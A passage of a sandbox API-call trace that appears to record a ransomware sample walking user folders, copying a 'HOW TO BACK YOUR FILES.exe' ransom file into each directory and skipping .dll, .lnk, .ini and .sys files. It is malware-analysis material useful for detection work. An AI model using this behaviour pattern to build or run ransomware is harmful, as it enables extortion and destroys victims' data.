	[0043.802] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x322da790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x322da790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.802] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.802] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0043.802] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.802] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0043.803] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0043.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0043.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0043.803] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0043.803] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1
	[0043.803] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.803] lstrcmpiW (lpString1="Sun", lpString2="Apollon865.txt.exe") returned 1
	[0043.803] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Sun" | out: lpString1="Sun") returned="Sun"
	[0043.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0043.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x599a78
	[0043.803] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0043.803] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0
	[0043.803] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.803] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0043.803] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun"
	[0043.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0043.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0043.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned 50
	[0043.803] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun"
	[0043.803] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.803] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.812] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.812] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x322da790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x322da790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.812] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.812] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.812] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Java" | out: lpString1="Java") returned="Java"
	[0043.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0043.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59aa10
	[0043.812] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0043.812] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
	[0043.812] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.812] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0043.812] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java"
	[0043.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0043.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0043.812] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned 55
	[0043.812] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java"
	[0043.812] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.813] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.836] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.836] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x32326a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32326a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.836] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.836] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.836] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="AU" | out: lpString1="AU") returned="AU"
	[0043.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0043.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x5916c0
	[0043.837] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0043.837] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0043.837] lstrcmpiW (lpString1="Deployment", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.837] lstrcmpiW (lpString1="Deployment", lpString2="Apollon865.txt.exe") returned 1
	[0043.837] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Deployment" | out: lpString1="Deployment") returned="Deployment"
	[0043.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0043.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b9168
	[0043.837] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0043.837] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x323008f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x323008f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.837] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.837] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1
	[0043.837] lstrcmpiW (lpString1="jre1.7.0_45", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.837] lstrcmpiW (lpString1="jre1.7.0_45", lpString2="Apollon865.txt.exe") returned 1
	[0043.837] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="jre1.7.0_45" | out: lpString1="jre1.7.0_45") returned="jre1.7.0_45"
	[0043.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0043.837] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.837] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0
	[0043.837] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.837] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.838] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45"
	[0043.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0043.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45") returned 67
	[0043.838] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45"
	[0043.838] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.851] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.851] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3234cbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3234cbb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.851] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.851] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.851] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Data1.cab" | out: lpString1="Data1.cab") returned="Data1.cab"
	[0043.851] lstrlenW (lpString="Data1.cab") returned 9
	[0043.851] lstrlenW (lpString="Apollon865") returned 10
	[0043.851] lstrlenW (lpString=".dll") returned 4
	[0043.851] lstrcmpiW (lpString1="Data1.cab", lpString2=".dll") returned 1
	[0043.851] lstrlenW (lpString=".lnk") returned 4
	[0043.851] lstrcmpiW (lpString1="Data1.cab", lpString2=".lnk") returned 1
	[0043.851] lstrlenW (lpString=".ini") returned 4
	[0043.851] lstrcmpiW (lpString1="Data1.cab", lpString2=".ini") returned 1
	[0043.851] lstrlenW (lpString=".sys") returned 4
	[0043.851] lstrcmpiW (lpString1="Data1.cab", lpString2=".sys") returned 1
	[0043.851] lstrlenW (lpString="Data1.cab") returned 9
	[0043.851] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="jre1.7.0_45.msi" | out: lpString1="jre1.7.0_45.msi") returned="jre1.7.0_45.msi"
	[0043.851] lstrlenW (lpString="jre1.7.0_45.msi") returned 15
	[0043.851] lstrlenW (lpString="Apollon865") returned 10
	[0043.851] lstrcmpiW (lpString1="7.0_45.msi", lpString2="Apollon865") returned -1
	[0043.851] lstrlenW (lpString=".dll") returned 4
	[0043.851] lstrcmpiW (lpString1="jre1.7.0_45.msi", lpString2=".dll") returned 1
	[0043.851] lstrlenW (lpString=".lnk") returned 4
	[0043.852] lstrcmpiW (lpString1="jre1.7.0_45.msi", lpString2=".lnk") returned 1
	[0043.852] lstrlenW (lpString=".ini") returned 4
	[0043.852] lstrcmpiW (lpString1="jre1.7.0_45.msi", lpString2=".ini") returned 1
	[0043.852] lstrlenW (lpString=".sys") returned 4
	[0043.852] lstrcmpiW (lpString1="jre1.7.0_45.msi", lpString2=".sys") returned 1
	[0043.852] lstrlenW (lpString="jre1.7.0_45.msi") returned 15
	[0043.852] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment"
	[0043.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0043.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0043.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment") returned 66
	[0043.852] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment"
	[0043.852] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.852] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.860] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.860] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x32372d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32372d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.861] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.861] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.861] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="deployment.properties" | out: lpString1="deployment.properties") returned="deployment.properties"
	[0043.861] lstrlenW (lpString="deployment.properties") returned 21
	[0043.861] lstrlenW (lpString="Apollon865") returned 10
	[0043.861] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0043.861] lstrlenW (lpString=".dll") returned 4
	[0043.861] lstrcmpiW (lpString1="deployment.properties", lpString2=".dll") returned 1
	[0043.861] lstrlenW (lpString=".lnk") returned 4
	[0043.861] lstrcmpiW (lpString1="deployment.properties", lpString2=".lnk") returned 1
	[0043.861] lstrlenW (lpString=".ini") returned 4
	[0043.861] lstrcmpiW (lpString1="deployment.properties", lpString2=".ini") returned 1
	[0043.861] lstrlenW (lpString=".sys") returned 4
	[0043.861] lstrcmpiW (lpString1="deployment.properties", lpString2=".sys") returned 1
	[0043.861] lstrlenW (lpString="deployment.properties") returned 21
	[0043.861] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="security" | out: lpString1="security") returned="security"
	[0043.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0043.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x599450
	[0043.861] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0043.861] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1
	[0043.861] lstrcmpiW (lpString1="tmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.861] lstrcmpiW (lpString1="tmp", lpString2="Apollon865.txt.exe") returned 1
	[0043.861] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="tmp" | out: lpString1="tmp") returned="tmp"
	[0043.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8e) returned 0x5994f0
	[0043.861] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.862] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0
	[0043.862] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.862] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.862] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp"
	[0043.862] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0043.862] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.862] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp") returned 70
	[0043.862] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp"
	[0043.862] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
